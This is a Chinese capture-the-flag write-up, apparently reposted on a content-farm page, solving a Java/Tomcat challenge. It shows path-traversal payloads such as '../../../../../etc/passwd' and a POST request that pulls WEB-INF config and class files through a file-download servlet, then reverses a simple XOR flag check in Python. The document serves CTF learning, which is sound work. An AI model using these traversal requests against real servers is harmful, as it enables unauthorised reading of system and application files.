当前位置：首页 > wzjs >正文

网站首页地址是什么潍坊今日头条新闻最新

wzjs 2025/8/14 5:23:45

网站首页地址是什么,潍坊今日头条新闻最新,wordpress 多语言插件,做ssp用什么建网站题目描述:出题人疯了，老是念叨着什么茶买袄可以登录,先看看help # get or post filename to /DownloadServlet ?可以在此处下载任意文件 /DownloadServlet?filename我应该首先尝试目录穿越 /DownloadServlet?filename../../../../../etc/passwd没有权限&#xf…

题目描述:出题人疯了，老是念叨着什么茶买袄

可以登录,先看看help

# get or post filename to /DownloadServlet ?

可以在此处下载任意文件

/DownloadServlet?filename=

我应该首先尝试目录穿越

/DownloadServlet?filename=../../../../../etc/passwd

没有权限？

**类型** 异常报告**描述** 服务器遇到一个意外的情况，阻止它完成请求。**例外情况**java.lang.NullPointerExceptionjava.io.File.<init>(File.java:279)com.ctf.file.DownloadServlet.doGet(DownloadServlet.java:22)javax.servlet.http.HttpServlet.service(HttpServlet.java:529)javax.servlet.http.HttpServlet.service(HttpServlet.java:623)org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)**):注意** 主要问题的全部 stack 信息可以在 server logs 里查看
Apache Tomcat/9.0.96

我应该尝试读取server logs, 问一下ai路径

?filename=/usr/local/tomcat/logs/catalina.out

读一下

/DownloadServlet?filename=/WEB-INF/classes/com/ctf/file/DownloadServlet.class

Class 文件无法直接显示，请下载后查看。

失败,茶买袄是什么？XML?,再问问ai

/DownloadServlet?filename=/WEB-INF/web.xml

<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" version="2.5"><display-name>JavaTest2</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.ctf.file.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagManager</servlet-name>
<servlet-class>com.ctf.flag.FlagManager</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagManager</servlet-name>
<url-pattern>/FlagManager</url-pattern>
</servlet-mapping>
</web-app>

/DownloadServlet?filename=index.jsp

<%--Created by IntelliJ IDEA.User: yuzhenzhaoDate: 2025/2/19Time: 11:50To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head><title>登录页面</title>
</head>
<body>
<%// 获取请求参数String username = request.getParameter("username");String password = request.getParameter("password");// 检查是否提交了表单if ("POST".equalsIgnoreCase(request.getMethod()) && username != null && password != null) {// 不论输入什么用户名和密码，都返回登录失败的提示out.println("<h1 style='color: red;'>登录失败，请检查用户名和密码。</h1>");}
%>
<!-- 登录表单 -->
<form action="index.jsp" method="post">用户名：<input type="text" name="username"><br>密码：<input type="password" name="password"><br><input type="submit" value="登录">
</form>
<!-- 隐藏表单 -->
<form id="helpForm" action="Download" method="get" style="display:none;"><input type="text" name="filename" value="help.docx">
</form>
<!-- 超链接指向 help.jsp -->
<a href="help.jsp" target="_blank">help.txt?</a>
</body>
</html>

/DownloadServlet?filename=help.jsp

<%--Created by IntelliJ IDEA.User: yuzhenzhaoDate: 2025/2/19Time: 23:34To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head><title>Help</title>
</head>
<body>
<h1>get or post filename to /DownloadServlet ?</h1>
</body>
</html>

/DownloadServlet?filename=index.html

都没啥用,再读下class

/DownloadServlet?filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class

Class 文件无法直接显示，请下载后查看。

试试post

POST /DownloadServlet HTTP/1.1
Host: challenge.qsnctf.com:30561
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=1378738D46CB9BD3B19BA113C677977E
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class

成功

//  
// Source code recreated from a .class file by IntelliJ IDEA  
// (powered by FernFlower decompiler)  
//  package com.ctf.flag;  import java.util.ArrayList;  
import java.util.Scanner;  
import javax.servlet.http.HttpServlet;  public class FlagManager extends HttpServlet {  public FlagManager() {  }  public static void main(String[] args) {  Scanner sc = new Scanner(System.in);  System.out.println("Please input your flag: ");  String str = sc.next();  System.out.println("Your input is: ");  System.out.println(str);  char[] stringArr = str.toCharArray();  Encrypt(stringArr);  }  public static void Encrypt(char[] arr) {  ArrayList<Integer> Resultlist = new ArrayList();  for(int i = 0; i < arr.length; ++i) {  int result = arr[i] + 38 ^ 48;  Resultlist.add(result);  }  int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};  ArrayList<Integer> Keylist = new ArrayList();  for(int j = 0; j < key.length; ++j) {  Keylist.add(key[j]);  }  System.out.println("Result: ");  if (Resultlist.equals(Keylist)) {  System.out.println("Congratulations! ");  } else {  System.out.println("Error! ");  }  }  
}

写一下RE

// 该代码是由IntelliJ IDEA从.class文件反编译而来的
// 该类是一个继承自HttpServlet的FlagManager类，主要用于处理用户输入的“flag”并与预设的密钥进行比较package com.ctf.flag;  // 定义类所在的包import java.util.ArrayList;  // 导入ArrayList类
import java.util.Scanner;    // 导入Scanner类，用于获取用户输入
import javax.servlet.http.HttpServlet;  // 导入HttpServlet类，用于创建Servlet// 定义FlagManager类，继承自HttpServlet
public class FlagManager extends HttpServlet { // 构造函数public FlagManager() { }// main方法，程序的入口public static void main(String[] args) { // 创建Scanner对象，用于读取用户输入Scanner sc = new Scanner(System.in); // 提示用户输入flagSystem.out.println("Please input your flag: ");  // 读取用户输入的flag（一个字符串）String str = sc.next(); // 输出用户输入的flagSystem.out.println("Your input is: ");  System.out.println(str); // 将输入的字符串转换为字符数组char[] stringArr = str.toCharArray();  // 调用Encrypt方法进行加密处理Encrypt(stringArr);  }// 加密方法，接收一个字符数组作为参数public static void Encrypt(char[] arr) { // 创建一个ArrayList用于存储加密后的结果ArrayList<Integer> Resultlist = new ArrayList();  // 遍历输入的字符数组，进行加密for(int i = 0; i < arr.length; ++i) {  // 加密规则：字符的ASCII值加38后与48进行异或运算int result = arr[i] + 38 ^ 48;  // 将加密后的结果添加到Resultlist中Resultlist.add(result);  }// 定义一个预设的密钥数组，用于与加密结果进行比较int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188};  // 将密钥数组转换为ArrayList，便于后续比较ArrayList<Integer> Keylist = new ArrayList();  // 将密钥数组的每个元素添加到Keylist中for(int j = 0; j < key.length; ++j) {  Keylist.add(key[j]);  }// 输出加密结果的比较System.out.println("Result: ");  // 判断加密结果是否与预设的密钥一致if (Resultlist.equals(Keylist)) {  // 如果一致，表示加密成功System.out.println("Congratulations! ");  } else {  // 如果不一致，表示加密失败System.out.println("Error! ");  }}
}

enc = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]  
for i in range(0, len(enc)):  enc[i] = (enc[i] ^ 48) - 38  flag = ''  
for i in enc:  flag += chr(i)  print(flag)